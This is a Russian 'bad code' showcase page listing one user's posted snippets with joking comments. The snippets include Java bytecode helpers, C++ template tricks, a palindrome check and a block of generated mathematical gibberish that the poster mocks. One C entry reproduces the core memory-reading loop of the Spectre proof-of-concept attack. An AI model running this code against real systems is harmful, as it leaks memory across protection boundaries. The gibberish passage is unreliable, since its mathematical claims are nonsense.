1. Список говнокодов пользователя gost

    Всего: 126

  2. Java / Говнокод #24356

    −1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    // aload x; iload x+1; ...
    // for normal (Object caller, param1, param2, ...) hook method startIndex must be 1
    private static InsnList getParamsLoadSequence(String typeDesc, int varStartIndex)
    {
        // get parameters descriptor
        typeDesc = typeDesc.substring(typeDesc.indexOf('(') + 1, typeDesc.lastIndexOf(')'));
        InsnList resSequence = new InsnList();
    
        int i = 0;
        while (i < typeDesc.length()) {
            resSequence.add(new VarInsnNode(parseLoadOpcode(typeDesc, i), varStartIndex++));
            i = getNextTypeIdx(typeDesc, i);
        }
    
        return resSequence;
    }

    ...но выбить сишку из человека нельзя.

    gost, 04 Июня 2018

    Комментарии (14)
  3. JavaScript / Говнокод #24223

    +4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    function isPalindrom1(str) {
        if (str.toLowerCase().replace(/[^а-яА-ЯёЁ]/g, '') === str.toLowerCase().replace(/[^а-яА-ЯёЁ]/g, 
        '').split('').reverse().join('')) {
            return true;
         } else {
            return false;
         }
    }

    "Красиво, просто, изящно."
    h: post/351874/

    gost, 04 Мая 2018

    Комментарии (7)
  4. C++ / Говнокод #24195

    −6

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    /* Q: Can someone recommend a more elegant way to achieve these compile-time constants? */
    template <int> struct Map;
    template <> struct Map<0> {static const int value = 4;};
    template <> struct Map<1> {static const int value = 8;};
    template <> struct Map<2> {static const int value = 15;};
    
    template <int> struct MapInverse;
    template <> struct MapInverse<4> {static const int value = 0;};
    template <> struct MapInverse<8> {static const int value = 1;};
    template <> struct MapInverse<15> {static const int value = 2;};
    
    
    /* A: Another TMP approach for a linear search using C++11: */
    #include <type_traits>
    
    // === Types:
    // Usage:
    //    Function<Map<x1,y1>,Map<x2,y2>,...>
    template<int D, int R> struct Map { enum { domain=D, range=R }; };
    template<typename ...A> struct Function {};
    
    // === Metafunctions:
    // Usage:
    //    ApplyFunction<x,F>::value
    template<int I, typename M> struct ApplyFunction;
    // Usage:
    //    ApplyFunctionInverse<x,F>::value
    template<int I, typename M> struct ApplyFunctionInverse;
    
    // ==== Example:
    // Define function M to the mapping in your original post.
    typedef Function<Map<0,4>,Map<1,8>,Map<2,15>> M;
    
    // ==== Implementation details
    template<typename T> struct Identity { typedef T type; };
    template<int I, typename A, typename ...B> struct ApplyFunction<I, Function<A,B...> > {
       typedef typename
          std::conditional <I==A::domain
                           , Identity<A>
                           , ApplyFunction<I,Function<B...>> >::type meta;
       typedef typename meta::type type;
       enum { value = type::range };
    };
    template<int I, typename A> struct ApplyFunction<I, Function<A>> {
       typedef typename
           std::conditional <I==A::domain
                            , Identity<A>
                            , void>::type meta;
       typedef typename meta::type type;
       enum { value = type::range };
    };
    // Linear search by range
    template<int I, typename A> struct ApplyFunctionInverse<I, Function<A>> {
       typedef typename
           std::conditional <I==A::range
                            , Identity<A>
                            , void>::type meta;
       typedef typename meta::type type;
       enum { value = type::domain };
    };
    template<int I, typename A, typename ...B> struct ApplyFunctionInverse<I, Function<A,B...> > {
       typedef typename
           std::conditional <I==A::range
                            , Identity<A>
                            , ApplyFunctionInverse<I,Function<B...>> >::type meta;
       typedef typename meta::type type;
       enum { value = type::domain };
    };
    
    // ==============================
    // Demonstration
    #include <iostream>
    int main()
    {
       // Applying function M
       std::cout << ApplyFunction<0,M>::value << std::endl;
       std::cout << ApplyFunction<1,M>::value << std::endl;
       std::cout << ApplyFunction<2,M>::value << std::endl;
    
       // Applying function inverse M
       std::cout << ApplyFunctionInverse<4,M>::value << std::endl;
       std::cout << ApplyFunctionInverse<8,M>::value << std::endl;
       std::cout << ApplyFunctionInverse<15,M>::value << std::endl;
    }

    Элегантненько.
    s: https://stackoverflow.com/questions/26075969/compile-time-map-and-inverse-map-values

    gost, 25 Апреля 2018

    Комментарии (10)
  5. Python / Говнокод #24164

    0

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    def create_delta(self, timestamp, subs: set):
        sym_subs = subs.symmetric_difference(self.subs)
        added_subs = sym_subs.difference(self.subs)
        removed_subs = sym_subs.difference(subs)
        return DeltaEntry(timestamp, added_subs, removed_subs)

    gost, 21 Апреля 2018

    Комментарии (1)
  6. Си / Говнокод #23644

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
      static int results[256];
      int tries, i, j, k, mix_i, junk = 0;
      size_t training_x, x;
      register uint64_t time1, time2;
      volatile uint8_t * addr;
    
      for (i = 0; i < 256; i++)
        results[i] = 0;
      for (tries = 999; tries > 0; tries--) {
    
        /* Flush array2[256*(0..255)] from cache */
        for (i = 0; i < 256; i++)
          _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
    
        /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
        training_x = tries % array1_size;
        for (j = 29; j >= 0; j--) {
          _mm_clflush( & array1_size);
          for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
    
          /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
          /* Avoid jumps in case those tip off the branch predictor */
          x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
          x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
          x = training_x ^ (x & (malicious_x ^ training_x));
    
          /* Call the victim! */
          victim_function(x);
        }
    
        /* Time reads. Order is lightly mixed up to prevent stride prediction */
        for (i = 0; i < 256; i++) {
          mix_i = ((i * 167) + 13) & 255;
          addr = & array2[mix_i * 512];
          time1 = __rdtscp( & junk); /* READ TIMER */
          junk = * addr; /* MEMORY ACCESS TO TIME */
          time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
          if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
            results[mix_i]++; /* cache hit - add +1 to score for this value */
        }
    
        /* Locate highest & second-highest results results tallies in j/k */
        j = k = -1;
        for (i = 0; i < 256; i++) {
          if (j < 0 || results[i] >= results[j]) {
            k = j;
            j = i;
          } else if (k < 0 || results[i] >= results[k]) {
            k = i;
          }
        }
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
          break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
      }
      results[0] ^= junk; /* use junk so code above won’t get optimized out*/
      value[0] = (uint8_t) j;
      score[0] = results[j];
      value[1] = (uint8_t) k;
      score[1] = results[k];
    }

    Красиво. Душевно.
    https://github.com/Eugnis/spectre-attack

    gost, 06 Января 2018

    Комментарии (35)
  7. C++ / Говнокод #23494

    +2

    1. 1
    2. 2
    3. 3
    //
    // TEMPLATE CLASS vector<bool, Alloc> AND FRIENDS
    //

    0xB друзей Вектора.
    via UCRT <vector>

    gost, 05 Ноября 2017

    Комментарии (6)
  8. C++ / Говнокод #23440

    +5

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    #include <iostream>
    #include <type_traits>
    #include <list>
    #include <vector>
    
    using std::cout;
    using std::endl;
    using function = int;
    
    struct Console {
    private:
        template<typename SS, typename TT>
        static auto test(int)
            -> decltype(std::declval<SS&>() << std::declval<TT>(), std::true_type());
        template<typename, typename>
        static auto test(...) -> std::false_type;
        template<typename T>
        static const bool canCout = decltype(test<decltype(cout), T>(0))::value;
    public:
        template<typename T>
        typename std::enable_if<std::is_same<decltype(std::declval<T>().begin()),
            decltype(std::declval<T>().end())>::value && !canCout<T>>::type
        log(T arg) {
            log('[');
            for (typename T::const_iterator it = arg.begin(); it != arg.end(); ++it) {
                auto nextIt = it;
                ++nextIt;
                if (nextIt != arg.end()) {
                    log(*it);
                    log(", ");
                } else {
                    log(*it);
                    log(']');
                }
            }
        }
        template<typename T>
        typename std::enable_if<canCout<T>>::type
            log(T arg) {
            cout << arg;
        }
        template<typename H, typename ... T>
        void log(H arg, T... rest) {
            log(arg);
            log(' ');
            log(rest...);
        }
    };
    static Console console;
    
    function main()
    {
        console.log(std::vector<int>({ 1, 2, 3 }), "Hello World!", 100.1, "\n");
        console.log(std::string("std::string"), std::list<std::string>({ "one", "two", "three" }), '\n');
    
        return 0;
    }

    Javascript++.
    https://ideone.com/NykL0u

    gost, 21 Октября 2017

    Комментарии (25)
  9. C++ / Говнокод #23408

    +4

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    #include <chrono>
    #include "SomeShittyLib.h"
    
    // ...
    
    //Fuck you.
    #undef min
    auto min_seconds = std::chrono::seconds::min();

    Конечно, каждому либописателю надо объявить макрос min "(((a) < (b)) ? (a) : (b))", ведь вызов функции - это пиздец какие накладные расходы!

    gost, 14 Октября 2017

    Комментарии (74)
  10. C++ / Говнокод #23392

    +3

    1. 1
    2. 2
    cout << "\xFFsome_message" << endl;       // OK
    cout << "\xFFanother_message" << endl;    // std::shooted_foot_exception

    Just another perl hacker shooted foot.

    gost, 08 Октября 2017

    Комментарии (93)
  11. Куча / Говнокод #23378

    +3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    Линейное программирование, очевидно, специфицирует детерминант, откуда следует
    доказываемое равенство. Поэтому доказательство притягивает интеграл от функции
    комплексной переменной, таким образом сбылась мечта идиота — утверждение полностью
    доказано. В общем, умножение двух векторов (скалярное) непредсказуемо. Теорема
    Гаусса — Остроградского, как следует из вышесказанного, стремительно программирует
    математический анализ. Поле направлений, исключая очевидный случай, ускоряет
    интеграл по бесконечной области.
    
    Начало координат, очевидно, синхронизирует невероятный интеграл Гамильтона.
    Сравнивая две формулы, приходим к следующему заключению: умножение двух
    векторов (векторное) тривиально. Подынтегральное выражение, конечно, недоказуемо.
    Критерий сходимости Коши осмысленно упорядочивает равновероятный разрыв функции.
    
    Дело в том, что минимум неоднозначен. Бином Ньютона, общеизвестно, решительно
    притягивает линейно зависимый лист Мёбиуса. Не факт, что минимум проецирует линейно
    зависимый тройной интеграл. Учитывая, что (sin x)’ = cos x, интеграл от функции
    комплексной переменной последовательно допускает критерий сходимости Коши.

    Очень качественные математические вореции. Что удивительно, антивореционный механизм Гугла их не распознал — этот замечательный образец попался мне во время спонтанного гуглинга на около-математическую тему.
    via линaл ру (мутный сайт, стоит какой-то мутный редирект, без презерватива не входить).

    gost, 02 Октября 2017

    Комментарии (3)